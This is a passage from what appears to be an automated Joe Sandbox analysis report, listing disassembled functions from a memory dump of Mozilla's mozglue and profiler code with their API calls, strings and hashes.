Instruction Fuzzy Hash: 1B0162717141119BDF01DF17D888A467BB9EFA3329F244276E41AD2210D731B9258F8F

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6B1800

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

name, xrefs: 6C6B1939
Details, xrefs: 6C6B1925
{marker.name} - {marker.data.name}, xrefs: 6C6B18C7

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction ID: 22190e491aefa8e33f91223b97db45de0eecc8c7765d60689da5328f2aeae385
Opcode Fuzzy Hash: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction Fuzzy Hash: BB71F3B0A00346AFC704DF29D4947AABBB1FF46304F444669D8155BB41DB70F6A8CBEA

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

., xrefs: 6C6A476A
profiler-paused, xrefs: 6C6A46E4
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C6C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6C98D9

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction ID: 84c184053eb01ea360ad2783384926cf2274fa4c0e4429a66cb157956828c49a
Opcode Fuzzy Hash: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction Fuzzy Hash: 6F310871B001086BDB14AF59DC445EE77B9DF85718F50842DEA0A9BB40DB71A904CBEE

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

., xrefs: 6C6A476A
profiler-paused, xrefs: 6C6A46E4
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C66BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C6B7A3F), ref: 6C66BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C6B7A3F), ref: 6C66BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C6B7A3F), ref: 6C66BF7E

Strings

ll, xrefs: 6C66BF84

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ll
API String ID: 4279176481-422694604
Opcode ID: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction ID: acc39dd28e06e19247f79fe10d4894abeff6178b15d653ae20e437cdaa2bc3a2
Opcode Fuzzy Hash: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction Fuzzy Hash: 6611BF793016048FC729CF0CD599926FBF8FB59308355885DE98A8B754C731F800CB99

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C690800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C690838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C69084C
EnterCriticalSection.KERNEL32(?), ref: 6C6908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6908BD
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6908D5

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction ID: 0c2d6e11bd8e05ad90fa341da736fe2338653d600f94c2358b24497550ac1e29
Opcode Fuzzy Hash: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction Fuzzy Hash: E121B031B0524A9BEF048F66D884BAEB379AF89708F500529D909A7A40DB31A804CBDC

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C661720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6618EE
free.MOZGLUE(?), ref: 6C661911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66194C

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction ID: 179c7417f028dbd7f031db162d738cad369d2a3ff8023aed4c3d2a6ad5f0b6d2
Opcode Fuzzy Hash: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction Fuzzy Hash: 7781D670A112059FCB08CF69D8D49EEBBB1FF89314F04462CE815ABB54D730E854CBA6

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C6B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C6B7829

Part of subcall function 6C68CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6531A7), ref: 6C68CC45
Part of subcall function 6C68CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6531A7), ref: 6C68CC4E

